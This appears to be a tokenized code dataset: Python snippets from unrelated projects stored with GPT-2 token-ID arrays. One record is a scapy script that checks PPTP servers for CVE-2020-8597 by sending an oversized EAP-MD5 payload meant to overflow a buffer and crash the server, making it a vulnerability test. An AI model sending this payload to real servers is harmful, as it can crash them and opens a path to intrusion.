60, 198, 220, 220, 220, 220, 220, 220, 220, 2779, 62, 35138, 796, 7514, 1370, 13, 457, 82, 58, 45299, 312, 87, 60, 532, 2779, 62, 457, 198, 220, 220, 220, 220, 220, 220, 220, 43030, 796, 42975, 532, 2779, 62, 457, 198, 220, 220, 220, 220, 220, 220, 220, 8064, 796, 45941, 13, 26518, 7, 35138, 11, 8692, 62, 35138, 8, 1220, 45941, 13, 26518, 7, 8692, 62, 35138, 11, 8692, 62, 35138, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 8064, 1875, 657, 13, 15, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 8064, 1279, 352, 13, 15, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 16, 796, 4686, 87, 532, 352, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 17, 796, 4686, 87, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 16, 796, 4686, 87, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 17, 796, 4686, 87, 1343, 352, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 16, 796, 4686, 87, 532, 352, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 17, 796, 4686, 87, 628, 220, 220, 220, 2779, 62, 457, 796, 7514, 1370, 13, 457, 82, 58, 45299, 312, 87, 16, 60, 198, 220, 220, 220, 2779, 62, 35138, 796, 7514, 1370, 13, 457, 82, 58, 45299, 312, 87, 17, 60, 532, 2779, 62, 457, 198, 220, 220, 220, 43030, 796, 42975, 532, 2779, 62, 457, 198, 220, 220, 220, 8064, 796, 45941, 13, 26518, 7, 35138, 11, 8692, 62, 35138, 8, 1220, 45941, 13, 26518, 7, 8692, 62, 35138, 11, 8692, 62, 35138, 8, 628, 220, 220, 220, 1051, 796, 532, 37659, 13, 12683, 7, 37659, 13, 19692, 7, 35138, 13, 51, 11, 8692, 62, 35138, 13, 51, 4008, 198, 220, 220, 220, 3487, 796, 1051, 9, 37659, 13, 75, 1292, 70, 13, 27237, 7, 35138, 532, 2779, 62, 35138, 1635, 8064, 8, 198, 220, 220, 220, 1441, 4686, 87, 16, 11, 8064, 11, 3487, 198, 198, 4299, 4935, 2514, 26628, 303, 7, 22019, 303, 11, 457, 11, 74, 67, 21048, 28, 14202, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 4493, 257, 966, 284, 257, 12133, 357, 72, 13, 68, 13, 281, 7177, 286, 12133, 43344, 8, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1303, 3274, 1064, 262, 11706, 966, 319, 262, 12133, 198, 220, 220, 220, 1303, 1330, 279, 9945, 26, 279, 9945, 13, 2617, 62, 40546, 3419, 198, 220, 220, 220, 611, 479, 67, 21048, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1233, 11, 4686, 87, 796, 479, 67, 21048, 13, 22766, 7, 37659, 13, 18747, 26933, 457, 13, 87, 11, 42975, 13, 88, 60, 4008, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 288, 1023, 796, 45941, 13, 18747, 26933, 7, 79, 13, 87, 532, 42975, 13, 87, 8, 1174, 17, 1343, 357, 79, 13, 88, 532, 42975, 13, 88, 8, 1174, 17, 329, 279, 287, 12133, 13, 457, 82, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 796, 45941, 13, 853, 1084, 7, 67, 1023, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1233, 796, 288, 1023, 58, 312, 87, 60, 198, 220, 220, 220, 1303, 5004, 262, 16654, 287, 543, 262, 966, 7363, 198, 220, 220, 220, 611, 4686, 87, 6624, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 16, 796, 4686, 87, 198, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 17, 220, 796, 4686, 87, 1343, 352, 198, 220, 220, 220, 1288, 361, 4686, 87, 6624, 18896, 7, 22019, 303, 13, 457, 82, 8, 532, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 17, 796, 4686, 87, 198, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 16, 796, 4686, 87, 532, 352, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 17489, 16654, 1912, 319, 9087, 286, 12133, 966, 198, 220, 220, 220, 220, 220, 220, 220, 611, 45941, 13, 26518, 7, 37659, 13, 18747, 26933, 37659, 13, 6966, 7, 22019, 303, 13, 457, 82, 58, 312, 87, 4083, 1169, 8326, 828, 45941, 13, 31369, 7, 22019, 303, 13, 457, 82, 58, 312, 87, 4083, 1169, 8326, 15437, 828, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 46300, 47, 83, 2514, 38469, 7, 457, 38381, 25, 17, 60, 532, 46300, 47, 83, 2514, 38469, 7, 22019, 303, 13, 457, 82, 58, 312, 87, 12962, 58, 25, 17, 12962, 1279, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 17, 796, 4686, 87, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 16, 796, 4686, 87, 532, 352, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 16, 796, 4686, 87, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4686, 87, 17, 796, 4686, 87, 1343, 352, 198, 220, 220, 220, 1303, 3082, 1133, 262, 12133, 6376, 198, 220, 220, 220, 2779, 62, 35138, 796, 46300, 47, 83, 2514, 38469, 7, 22019, 303, 13, 457, 82, 58, 312, 87, 17, 60, 532, 12133, 13, 457, 82, 58, 312, 87, 16, 12962, 58, 25, 17, 60, 198, 220, 220, 220, 43030, 796, 46300, 47, 83, 2514, 38469, 7, 457, 532, 12133, 13, 457, 82, 58, 312, 87, 16, 12962, 58, 25, 17, 60, 198, 220, 220, 220, 8064, 796, 45941, 13, 26518, 7, 35138, 11, 8692, 62, 35138, 8, 1220, 45941, 13, 26518, 7, 8692, 62, 35138, 11, 8692, 62, 35138, 8, 628, 220, 220, 220, 1051, 796, 532, 37659, 13, 12683, 7, 37659, 13, 19692, 7, 35138, 13, 51, 11, 8692, 62, 35138, 13, 51, 4008, 198, 220, 220, 220, 3487, 796, 1051, 9, 37659, 13, 75, 1292, 70, 13, 27237, 7, 35138, 532, 2779, 62, 35138, 1635, 8064, 8, 628, 220, 220, 220, 1441, 4686, 87, 16, 11, 8064, 11, 3487, 198 ]
1.91624
4,883
values = [6, 5, 3, 1, 8, 7, 2, 4] print (values) values = selection_sort(values)
[ 198, 27160, 796, 685, 21, 11, 642, 11, 513, 11, 352, 11, 807, 11, 767, 11, 362, 11, 604, 60, 198, 4798, 357, 27160, 8, 198, 27160, 796, 6356, 62, 30619, 7, 27160, 8, 198 ]
2.342857
35
#!/usr/bin/python3 from scapy.all import * import socket import sys import signal import os conf_ack_received = False conf_ack_sent = False debug = False if os.environ.get("DEBUG"): debug = True if len(sys.argv) < 2: print("Usage %s PPTP_Server to test for CVE-2020-8597" %(sys.argv[0])); sys.exit(0) dst = sys.argv[1] #default pptp port dport = 1723 print("Initiating communications with PPTP server %s " %(dst)) signal.signal(signal.SIGALRM, handler) #6 seconds for first TCP response signal.alarm(6) #TCP communications client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((dst, dport)) cstream = StreamSocket(client) # initialize PPTP session call_id = random.randint(1000,10000) vr=PPTPStartControlConnectionRequest(vendor_string="cananian") #This is due to a bug in PPTPStartControlConnectionRequest in scapy where version and #revision is not properly parsed vr.protocol_version=256 cstream.sr1(vr,verbose=debug) call_reply = cstream.sr1(PPTPOutgoingCallRequest(call_id=call_id),verbose=debug) call_reply = PPTPOutgoingCallReply(call_reply) signal.alarm(0) #Another 6 seconds to do GRE connection signal.alarm(6) # GRE communications gre_socket = socket.socket(socket.AF_INET,socket.SOCK_RAW, socket.IPPROTO_GRE) gre_socket.connect((dst,dport)) gre_stream = SimpleSocket(gre_socket) #send configuration request server_conf_request = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id)/ HDLC()/PPP()/ PPP_LCP_Configure(id=0x1,options=[ PPP_LCP_Magic_Number_Option(magic_number=0xaabbccdd) ]),verbose=debug) server_conf_request = IP(server_conf_request) signal.alarm(0) # give 9 seconds for configure ack to complete signal.alarm(9) tries = 0 try: while conf_ack_received == False or tries < 9: sniff(iface="eth0",prn=pkt_callback,count=1,filter='proto gre and src host '+sys.argv[1],store=0) tries = tries + 1 except: if debug: print("Never could recevie a configureation ack from peer due to Timeout") tries = 9 if conf_ack_received == False and tries > 8: print("Remote system %s did not provide Configure-Acknowledgement - giving up" %(sys.argv[1])) print("Server %s is in UNKNOWN state" %(sys.argv[1])) sys.exit(0) signal.alarm(0) print("Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow") bad_pkt=GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/PPP(proto=0xc227)/EAP_MD5(code=1,value_size=16,value='A'*16, optional_name='A'*1100) gre_stream.send(bad_pkt) #Look to see if we receive EAP_Nak that means buffer overflow did NOT succeed signal.alarm(3) try: sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) except: print("Server %s is likely vulnerable, did not return anything after EAP packet " % (sys.argv[1])) sys.exit(0) print("Server %s is likely NOT vulnerable to buffer overflow" % (sys.argv[1])) signal.alarm(0) print("Verifying peer %s one more time using a Echo request to the peer " % (sys.argv[1])) signal.alarm(3) #echo request to test if PPP interface is still alive - that means we didnt crash the remote #pptp server with the bad payload gre_stream.send(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+2)/ HDLC()/PPP()/ PPP_LCP_Configure(code=0x9,id=4)) try: PPP_Alive = sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0) except: print("Did not received PPP Echo Reply, check the logs on the server to verify status") sys.exit(0) print("Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable") sys.exit(0)
[ 2, 48443, 14629, 14, 8800, 14, 29412, 18, 198, 198, 6738, 629, 12826, 13, 439, 1330, 1635, 198, 11748, 17802, 198, 11748, 25064, 198, 11748, 6737, 198, 11748, 28686, 198, 10414, 62, 441, 62, 47844, 796, 10352, 198, 10414, 62, 441, 62, 34086, 796, 10352, 198, 24442, 796, 10352, 198, 198, 361, 28686, 13, 268, 2268, 13, 1136, 7203, 30531, 1, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 14257, 796, 6407, 628, 220, 220, 220, 220, 220, 220, 220, 220, 628, 198, 198, 361, 18896, 7, 17597, 13, 853, 85, 8, 1279, 362, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 28350, 4064, 82, 21082, 7250, 62, 10697, 284, 1332, 329, 24640, 12, 42334, 12, 23, 43239, 1, 4064, 7, 17597, 13, 853, 85, 58, 15, 12962, 1776, 198, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 37023, 7, 15, 8, 198, 67, 301, 796, 25064, 13, 853, 85, 58, 16, 60, 198, 2, 12286, 279, 457, 79, 2493, 198, 67, 634, 796, 1596, 1954, 198, 198, 4798, 7203, 818, 8846, 803, 8062, 351, 21082, 7250, 4382, 4064, 82, 366, 4064, 7, 67, 301, 4008, 198, 12683, 282, 13, 12683, 282, 7, 12683, 282, 13, 50, 3528, 1847, 29138, 11, 21360, 8, 198, 2, 21, 4201, 329, 717, 23633, 2882, 198, 12683, 282, 13, 282, 1670, 7, 21, 8, 198, 2, 4825, 47, 8062, 198, 16366, 796, 17802, 13, 44971, 7, 44971, 13, 8579, 62, 1268, 2767, 11, 17802, 13, 50, 11290, 62, 2257, 32235, 8, 198, 16366, 13, 8443, 19510, 67, 301, 11, 288, 634, 4008, 198, 66, 5532, 796, 13860, 39105, 7, 16366, 8, 628, 198, 2, 41216, 21082, 7250, 6246, 198, 13345, 62, 312, 796, 4738, 13, 25192, 600, 7, 12825, 11, 49388, 8, 198, 37020, 28, 10246, 7250, 10434, 15988, 32048, 18453, 7, 85, 18738, 62, 8841, 2625, 5171, 38336, 4943, 198, 2, 1212, 318, 2233, 284, 257, 5434, 287, 21082, 7250, 10434, 15988, 32048, 18453, 287, 629, 12826, 810, 2196, 290, 198, 2, 260, 10178, 318, 407, 6105, 44267, 220, 198, 37020, 13, 11235, 4668, 62, 9641, 28, 11645, 198, 198, 66, 5532, 13, 27891, 16, 7, 37020, 11, 19011, 577, 28, 24442, 8, 198, 13345, 62, 47768, 796, 269, 5532, 13, 27891, 16, 7, 10246, 7250, 7975, 5146, 14134, 18453, 7, 13345, 62, 312, 28, 13345, 62, 312, 828, 19011, 577, 28, 24442, 8, 198, 13345, 62, 47768, 796, 21082, 7250, 7975, 5146, 14134, 36875, 7, 13345, 62, 47768, 8, 198, 198, 12683, 282, 13, 282, 1670, 7, 15, 8, 198, 2, 6610, 718, 4201, 284, 466, 19928, 4637, 198, 12683, 282, 13, 282, 1670, 7, 21, 8, 198, 2, 19928, 8062, 198, 16694, 62, 44971, 796, 17802, 13, 44971, 7, 44971, 13, 8579, 62, 1268, 2767, 11, 44971, 13, 50, 11290, 62, 20530, 11, 17802, 13, 4061, 4805, 26631, 62, 28934, 8, 198, 16694, 62, 44971, 13, 8443, 19510, 67, 301, 11, 67, 634, 4008, 198, 16694, 62, 5532, 796, 17427, 39105, 7, 16694, 62, 44971, 8, 198, 2, 21280, 8398, 2581, 198, 15388, 62, 10414, 62, 25927, 796, 10536, 62, 5532, 13, 27891, 16, 7, 28934, 62, 10246, 7250, 7, 41068, 22510, 62, 25579, 28, 16, 11, 13345, 62, 312, 28, 13345, 62, 47768, 13, 13345, 62, 312, 20679, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5572, 5639, 3419, 14, 10246, 47, 3419, 14, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 350, 10246, 62, 5639, 47, 62, 16934, 495, 7, 312, 28, 15, 87, 16, 11, 25811, 41888, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 350, 10246, 62, 5639, 47, 62, 22975, 62, 15057, 62, 19722, 7, 32707, 62, 17618, 28, 15, 27865, 6485, 535, 1860, 8, 2361, 828, 19011, 577, 28, 24442, 8, 198, 15388, 62, 10414, 62, 25927, 796, 6101, 7, 15388, 62, 10414, 62, 25927, 8, 628, 198, 12683, 282, 13, 282, 1670, 7, 15, 8, 198, 2, 1577, 860, 4201, 329, 17425, 257, 694, 284, 1844, 198, 12683, 282, 13, 282, 1670, 7, 24, 8, 198, 83, 1678, 796, 657, 198, 28311, 25, 198, 220, 220, 220, 220, 220, 220, 220, 981, 1013, 62, 441, 62, 47844, 6624, 10352, 393, 8404, 1279, 860, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26300, 7, 361, 558, 2625, 2788, 15, 1600, 1050, 77, 28, 79, 21841, 62, 47423, 11, 9127, 28, 16, 11, 24455, 11639, 1676, 1462, 10536, 290, 12351, 2583, 705, 10, 17597, 13, 853, 85, 58, 16, 4357, 8095, 28, 15, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 8404, 796, 8404, 1343, 352, 198, 16341, 25, 198, 220, 220, 220, 220, 220, 220, 220, 611, 14257, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 12295, 714, 1407, 85, 494, 257, 17425, 341, 257, 694, 422, 12720, 2233, 284, 3862, 448, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 8404, 796, 860, 220, 198, 361, 1013, 62, 441, 62, 47844, 6624, 10352, 290, 8404, 1875, 807, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 36510, 1080, 4064, 82, 750, 407, 2148, 17056, 495, 12, 39482, 16025, 532, 3501, 510, 1, 4064, 7, 17597, 13, 853, 85, 58, 16, 60, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 10697, 4064, 82, 318, 287, 4725, 44706, 1181, 1, 4064, 7, 17597, 13, 853, 85, 58, 16, 60, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 37023, 7, 15, 8, 198, 12683, 282, 13, 282, 1670, 7, 15, 8, 198, 198, 4798, 7203, 13313, 276, 284, 21082, 7250, 4382, 11, 783, 7216, 1588, 11876, 284, 12720, 284, 2230, 11876, 30343, 4943, 198, 198, 14774, 62, 79, 21841, 28, 28934, 62, 10246, 7250, 7, 41068, 22510, 62, 25579, 28, 16, 11, 13345, 62, 312, 28, 13345, 62, 47768, 13, 13345, 62, 312, 11, 41068, 594, 62, 17618, 28, 15388, 62, 10414, 62, 25927, 58, 4061, 7131, 28934, 62, 10246, 7250, 4083, 41068, 594, 62, 17618, 10, 16, 20679, 10246, 47, 7, 1676, 1462, 28, 15, 25306, 24403, 20679, 36, 2969, 62, 12740, 20, 7, 8189, 28, 16, 11, 8367, 62, 7857, 28, 1433, 11, 8367, 11639, 32, 6, 9, 1433, 11, 11902, 62, 3672, 11639, 32, 6, 9, 42060, 8, 198, 198, 16694, 62, 5532, 13, 21280, 7, 14774, 62, 79, 21841, 8, 198, 198, 2, 8567, 284, 766, 611, 356, 3328, 412, 2969, 62, 45, 461, 326, 1724, 11876, 30343, 750, 5626, 6758, 198, 12683, 282, 13, 282, 1670, 7, 18, 8, 198, 28311, 25, 198, 220, 220, 220, 220, 220, 220, 220, 26300, 7, 361, 558, 2625, 2788, 15, 1600, 954, 28, 16, 11, 778, 77, 28, 79, 21841, 62, 47423, 11, 8106, 11639, 1676, 1462, 10536, 290, 12351, 2583, 705, 10, 17597, 13, 853, 85, 58, 16, 4357, 3650, 28, 15, 8, 198, 16341, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 10697, 4064, 82, 318, 1884, 8826, 11, 750, 407, 1441, 1997, 706, 412, 2969, 19638, 366, 4064, 357, 17597, 13, 853, 85, 58, 16, 60, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 37023, 7, 15, 8, 198, 4798, 7203, 10697, 4064, 82, 318, 1884, 5626, 8826, 284, 11876, 30343, 1, 220, 4064, 357, 17597, 13, 853, 85, 58, 16, 60, 4008, 198, 12683, 282, 13, 282, 1670, 7, 15, 8, 198, 198, 4798, 7203, 13414, 4035, 12720, 4064, 82, 530, 517, 640, 1262, 257, 21455, 2581, 284, 262, 12720, 366, 220, 4064, 357, 17597, 13, 853, 85, 58, 16, 60, 4008, 198, 12683, 282, 13, 282, 1670, 7, 18, 8, 198, 2, 30328, 2581, 284, 1332, 611, 350, 10246, 7071, 318, 991, 6776, 532, 326, 1724, 356, 42547, 7014, 262, 6569, 198, 2, 381, 34788, 4382, 351, 262, 2089, 21437, 198, 16694, 62, 5532, 13, 21280, 7, 28934, 62, 10246, 7250, 7, 41068, 22510, 62, 25579, 28, 16, 11, 13345, 62, 312, 28, 13345, 62, 47768, 13, 13345, 62, 312, 11, 41068, 594, 62, 17618, 28, 15388, 62, 10414, 62, 25927, 58, 4061, 7131, 28934, 62, 10246, 7250, 4083, 41068, 594, 62, 17618, 10, 17, 20679, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5572, 5639, 3419, 14, 10246, 47, 3419, 14, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 350, 10246, 62, 5639, 47, 62, 16934, 495, 7, 8189, 28, 15, 87, 24, 11, 312, 28, 19, 4008, 628, 198, 28311, 25, 198, 220, 220, 220, 220, 220, 220, 220, 350, 10246, 62, 2348, 425, 796, 26300, 7, 361, 558, 2625, 2788, 15, 1600, 954, 28, 16, 11, 778, 77, 28, 79, 21841, 62, 47423, 11, 8106, 11639, 1676, 1462, 10536, 290, 12351, 2583, 705, 10, 17597, 13, 853, 85, 58, 16, 4357, 3650, 28, 15, 8, 198, 16341, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 11633, 407, 2722, 350, 10246, 21455, 14883, 11, 2198, 262, 17259, 319, 262, 4382, 284, 11767, 3722, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 37023, 7, 15, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 4798, 7203, 3041, 6471, 257, 3487, 350, 10246, 21455, 14883, 11, 4482, 318, 4632, 1884, 5626, 8826, 4943, 198, 198, 17597, 13, 37023, 7, 15, 8, 628 ]
2.504442
1,576
#import speech_recognition as sr import wave import io import io, os from google.auth import environment_vars from google.cloud import speech
[ 2, 11748, 4046, 62, 26243, 653, 355, 19677, 198, 11748, 6769, 198, 11748, 33245, 198, 11748, 33245, 11, 28686, 198, 6738, 23645, 13, 18439, 1330, 2858, 62, 85, 945, 198, 6738, 23645, 13, 17721, 1330, 4046 ]
3.916667
36
# Generated by Django 3.2.9 on 2021-12-08 10:41 import datetime from django.db import migrations, models
[ 2, 2980, 515, 416, 37770, 513, 13, 17, 13, 24, 319, 33448, 12, 1065, 12, 2919, 838, 25, 3901, 198, 198, 11748, 4818, 8079, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 628 ]
2.972222
36
# Copyright (c) 2019 Microsoft Corporation # Distributed under the MIT software license # TODO: Test EBMUtils from sklearn.utils.extmath import softmax import numpy as np import logging log = logging.getLogger(__name__) # TODO: Clean up
[ 2, 15069, 357, 66, 8, 13130, 5413, 10501, 198, 2, 4307, 6169, 739, 262, 17168, 3788, 5964, 198, 2, 16926, 46, 25, 6208, 412, 12261, 18274, 4487, 198, 198, 6738, 1341, 35720, 13, 26791, 13, 2302, 11018, 1330, 2705, 9806, 198, 11748, 299, 32152, 355, 45941, 198, 198, 11748, 18931, 198, 198, 6404, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 628, 198, 2, 16926, 46, 25, 5985, 510, 198 ]
3.315068
73
from .base import BaseBackend from .github import GitHubIssueBackend, GitHubPullRequestBackend __all__ = [ 'BaseBackend', 'GitHubIssueBackend', 'GitHubPullRequestBackend', ]
[ 6738, 764, 8692, 1330, 7308, 7282, 437, 198, 6738, 764, 12567, 1330, 21722, 45147, 7282, 437, 11, 21722, 42940, 18453, 7282, 437, 198, 198, 834, 439, 834, 796, 685, 198, 220, 220, 220, 705, 14881, 7282, 437, 3256, 198, 220, 220, 220, 705, 38, 270, 16066, 45147, 7282, 437, 3256, 198, 220, 220, 220, 705, 38, 270, 16066, 42940, 18453, 7282, 437, 3256, 198, 60, 198 ]
2.833333
66
import os import signal import unittest from mysos.common.cluster import ClusterManager from mysos.common.testing import Fake from mysos.executor.noop_installer import NoopPackageInstaller from mysos.executor.mysos_task_runner import MysosTaskRunner from mysos.executor.task_runner import TaskError from mysos.executor.testing.fake import FakeTaskControl from kazoo.handlers.threading import SequentialThreadingHandler import pytest from twitter.common.concurrent import deadline from twitter.common.quantity import Amount, Time from twitter.common.zookeeper.serverset.endpoint import Endpoint, ServiceInstance from zake.fake_client import FakeClient from zake.fake_storage import FakeStorage if 'MYSOS_DEBUG' in os.environ: from twitter.common import log from twitter.common.log.options import LogOptions LogOptions.set_stderr_log_level('google:DEBUG') LogOptions.set_simple(True) log.init('mysos_tests')
[ 11748, 28686, 198, 11748, 6737, 198, 11748, 555, 715, 395, 198, 198, 6738, 616, 82, 418, 13, 11321, 13, 565, 5819, 1330, 38279, 13511, 198, 6738, 616, 82, 418, 13, 11321, 13, 33407, 1330, 33482, 198, 6738, 616, 82, 418, 13, 18558, 38409, 13, 3919, 404, 62, 17350, 263, 1330, 1400, 404, 27813, 15798, 263, 198, 6738, 616, 82, 418, 13, 18558, 38409, 13, 28744, 418, 62, 35943, 62, 16737, 1330, 337, 893, 418, 25714, 49493, 198, 6738, 616, 82, 418, 13, 18558, 38409, 13, 35943, 62, 16737, 1330, 15941, 12331, 198, 6738, 616, 82, 418, 13, 18558, 38409, 13, 33407, 13, 30706, 1330, 33482, 25714, 15988, 198, 198, 6738, 479, 1031, 2238, 13, 4993, 8116, 13, 16663, 278, 1330, 24604, 1843, 16818, 278, 25060, 198, 11748, 12972, 9288, 198, 6738, 17044, 13, 11321, 13, 1102, 14421, 1330, 12508, 198, 6738, 17044, 13, 11321, 13, 40972, 414, 1330, 26308, 11, 3862, 198, 6738, 17044, 13, 11321, 13, 10872, 2088, 5723, 13, 2655, 690, 316, 13, 437, 4122, 1330, 5268, 4122, 11, 4809, 33384, 198, 6738, 1976, 539, 13, 30706, 62, 16366, 1330, 33482, 11792, 198, 6738, 1976, 539, 13, 30706, 62, 35350, 1330, 33482, 31425, 628, 198, 361, 705, 44, 16309, 2640, 62, 30531, 6, 287, 28686, 13, 268, 2268, 25, 198, 220, 422, 17044, 13, 11321, 1330, 2604, 198, 220, 422, 17044, 13, 11321, 13, 6404, 13, 25811, 1330, 5972, 29046, 198, 220, 5972, 29046, 13, 2617, 62, 301, 1082, 81, 62, 6404, 62, 5715, 10786, 13297, 25, 30531, 11537, 198, 220, 5972, 29046, 13, 2617, 62, 36439, 7, 17821, 8, 198, 220, 2604, 13, 15003, 10786, 28744, 418, 62, 41989, 11537, 628, 198 ]
3.352727
275
#!/usr/bin/env python import numpy as np import sklearn from sklearn.preprocessing import LabelEncoder import pickle from sensor_stick.srv import GetNormals from sensor_stick.features import compute_color_histograms from sensor_stick.features import compute_normal_histograms from visualization_msgs.msg import Marker from sensor_stick.marker_tools import * from sensor_stick.msg import DetectedObjectsArray from sensor_stick.msg import DetectedObject from sensor_stick.pcl_helper import * # Voxel Grid filter # PassThrough filter # RANSAC plane segmentation # Extract inliers/outliers # Outlier Removal Filter # Euclidean Clustering (perform a DBSCAN cluster search) # Callback function for your Point Cloud Subscriber if __name__ == '__main__': # TODO: ROS node initialization rospy.init_node('clustering', anonymous=True) # TODO: Create Subscribers pcl_sub = rospy.Subscriber("/sensor_stick/point_cloud", pc2.PointCloud2, pcl_callback, queue_size=1) # TODO: Create Publishers pcl_objects_pub = rospy.Publisher("/pcl_objects", PointCloud2, queue_size=1) pcl_table_pub = rospy.Publisher("/pcl_table", PointCloud2, queue_size=1) pcl_cluster_pub = rospy.Publisher("pcl_cluster", PointCloud2, queue_size=1) # Create Publishers # TODO: here you need to create two publishers # Call them object_markers_pub and detected_objects_pub # Have them publish to "/object_markers" and "/detected_objects" with # Message Types "Marker" and "DetectedObjectsArray" , respectively object_markers_pub = rospy.Publisher("/object_markers", Marker, queue_size=1) detected_objects_pub = rospy.Publisher("/detected_objects", DetectedObjectsArray, queue_size=1) # TODO: Load Model From disk model = pickle.load(open('model.sav', 'rb')) clf = model['classifier'] encoder = LabelEncoder() encoder.classes_ = model['classes'] scaler = model['scaler'] # Initialize color_list get_color_list.color_list = [] # TODO: Spin while node is not shutdown while not rospy.is_shutdown(): rospy.spin()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 1341, 35720, 198, 6738, 1341, 35720, 13, 3866, 36948, 1330, 36052, 27195, 12342, 198, 198, 11748, 2298, 293, 198, 198, 6738, 12694, 62, 13915, 13, 27891, 85, 1330, 3497, 35393, 874, 198, 6738, 12694, 62, 13915, 13, 40890, 1330, 24061, 62, 8043, 62, 10034, 26836, 198, 6738, 12694, 62, 13915, 13, 40890, 1330, 24061, 62, 11265, 62, 10034, 26836, 198, 6738, 32704, 62, 907, 14542, 13, 19662, 1330, 2940, 263, 198, 198, 6738, 12694, 62, 13915, 13, 4102, 263, 62, 31391, 1330, 1635, 198, 6738, 12694, 62, 13915, 13, 19662, 1330, 46497, 10267, 82, 19182, 198, 6738, 12694, 62, 13915, 13, 19662, 1330, 46497, 10267, 198, 6738, 12694, 62, 13915, 13, 79, 565, 62, 2978, 525, 1330, 1635, 198, 198, 2, 28035, 417, 24846, 8106, 198, 198, 2, 6251, 15046, 8106, 198, 198, 2, 371, 15037, 2246, 6614, 10618, 341, 198, 198, 2, 29677, 287, 75, 3183, 14, 448, 75, 3183, 198, 198, 2, 3806, 2505, 46209, 25853, 198, 198, 2, 48862, 485, 272, 1012, 436, 1586, 357, 525, 687, 257, 360, 4462, 44565, 13946, 2989, 8, 628, 198, 2, 4889, 1891, 2163, 329, 534, 6252, 10130, 3834, 1416, 24735, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 628, 220, 220, 220, 1303, 16926, 46, 25, 48263, 10139, 37588, 198, 220, 220, 220, 686, 2777, 88, 13, 15003, 62, 17440, 10786, 565, 436, 1586, 3256, 11614, 28, 17821, 8, 628, 220, 220, 220, 1303, 16926, 46, 25, 13610, 3834, 40075, 364, 198, 220, 220, 220, 279, 565, 62, 7266, 796, 686, 2777, 88, 13, 7004, 1416, 24735, 7203, 14, 82, 22854, 62, 13915, 14, 4122, 62, 17721, 1600, 40653, 17, 13, 12727, 18839, 17, 11, 279, 565, 62, 47423, 11, 16834, 62, 7857, 28, 16, 8, 628, 220, 220, 